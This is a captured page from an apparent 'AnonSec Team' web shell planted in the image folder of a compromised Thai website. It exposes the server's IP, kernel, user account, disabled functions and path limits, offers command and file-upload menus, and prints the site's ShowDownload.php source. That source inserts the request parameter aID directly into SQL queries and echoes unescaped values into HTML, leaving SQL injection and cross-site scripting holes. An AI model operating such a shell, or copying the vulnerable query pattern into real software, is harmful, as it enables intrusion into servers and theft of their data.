AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/ckeditor4.10.1/../images/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/ckeditor4.10.1/../images/../ShowDownload.php
<?php
session_start();	
Header('Content-Type: text/plain; charset=utf-8');
Header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>

<html>
<head>
<title><?php echo $config[web_title];?></title>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <!-- Bootstrap core CSS -->
   <link rel="stylesheet" href="vendor/bootstrap/css/bootstrap.css"/>
    <script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
    <script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>

 	 <link rel="stylesheet" href="dist/css/MyCSS.css"/>
	 <!-- Bootstrap core CSS -->
 
	<style type="text/css">
	body {
		background-image: url("images/bg2.jpg");
 	}
	</style>
 <link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
    <style type="text/css">
   body {
	font-family: 'Kanit', sans-serif;
}
  </style>
<script type="text/javascript" src="galleryshow-css-js/js/prototype.js"></script>
<script type="text/javascript" src="galleryshow-css-js/js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="galleryshow-css-js/js/lightbox.js"></script>
<link rel="stylesheet" href="galleryshow-css-js/css/lightbox.css" type="text/css" media="screen" />

 <?php
include ("Connections/function-sys.php");
include ("Connections/db.class.php");
$db = new sql($config[db_server], $config[db_username], $config[db_password], $config[db_name], $config[db_language]);
?>
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<!-- Save for Web Slices (index.psd) -->
<table  style="width:90%;max-width: 1200px;"  border="0" align="center" cellpadding="0" cellspacing="0" id="Table_01">
	<tr>
		<td   bgcolor="#FFFFFF"><IMG SRC="images/head.jpg"  style="width:100%;max-width: 1200px;" BORDER="0" ></td>
	</tr>
	<tr>
		<td    bgcolor="#FF9900"><BR></td>
	</tr>
	<tr>
		<td  valign="top" bgcolor="#FFFFFF"><BR>
			<!-- Contents -->
			<div width=90% align="right">
			<a href="http://www.facebook.com/sharer.php?u=$config[UrLLink]/ShowDownload.php?aID=<?php echo $_REQUEST[aID];?>"><IMG SRC="images/share-facebook.png" WIDTH="90"   BORDER="0" ALT="แชร์หน้านี้"></a>&nbsp;&nbsp;
			</div>

			
 
			<?php
				$sql2="update download set aOpen=aOpen+1 where aID='$_REQUEST[aID]' ";
				$db->query($sql2);

				$sql="select  download.* from download 	where aID='$_REQUEST[aID]' ";
				$arrE=$db->getRec($sql);		
				$aOpen=$arrE[aOpen];

				if(!empty($arrE[aFile])){
					$File=explode(".",$arrE[aFile]);
					if(strtolower($File[1])=="pdf"){
						$aFile="<embed src=\"admin/images/News/$arrE[aFile]\" type=\"application/pdf\"   height=\"750px\" width=\"100%\">";
					}else
					{
						$aFile="<BR><BR><CENTER><A HREF=\"admin/images/News/$arrE[aFile]\" target=doc><IMG SRC=\"admin/images/icons/cloud-download.png\" WIDTH=\"62\" \ BORDER=\"0\"><BR>ดาวน์โหลดเอกสาร</A></CENTER>";
					}
					
				}

				if(!empty($arrE[aLink])){
					$aLink="<BR><BR><CENTER><A HREF=\"$arrE[aLink]\" target=doc><IMG SRC=\"admin/images/icons/cloud_link-512.png\" WIDTH=\"62\" \ BORDER=\"0\"><BR>ลิงค์ข้อมูลเพิ่มเติม</A></CENTER>";
				}

 				$arrE[aTitle]=htmlspecialchars_decode($arrE[aTitle], ENT_QUOTES);
 				$arrE[aDate]="วันที่ ".ShowAllDate($arrE[aDate],2)." เวลา".substr($arrE[aDate],10,10)." น.";
			echo <<<DOC
			<table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
			<tr>
				<td align=right style="font-size:12px;">อ่านแล้ว $aOpen ครั้ง</td>
			</tr>
			</table><BR>
			<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
			<TR><TD colspan=3> <strong>$arrE[aTitle]</strong> <BR>$aFile  $aLink<BR><BR></TD></TR>
			<TR><TD colspan=3 align="right" style="color:#999999;font-size: 12px;">$arrE[aDate]</span><BR><BR></TD></TR>
			<TR>
			</table
DOC;
 

		  ?>
			<p>&nbsp;</p>
	  <p>&nbsp;</p></td>
 
	</tr> 
	 <tr>
		<td    bgcolor="#FF9900"><BR></td>
	</tr>
</table>
<!-- End Save for Web Slices -->
 </body>
</html>

AnonSec - 2021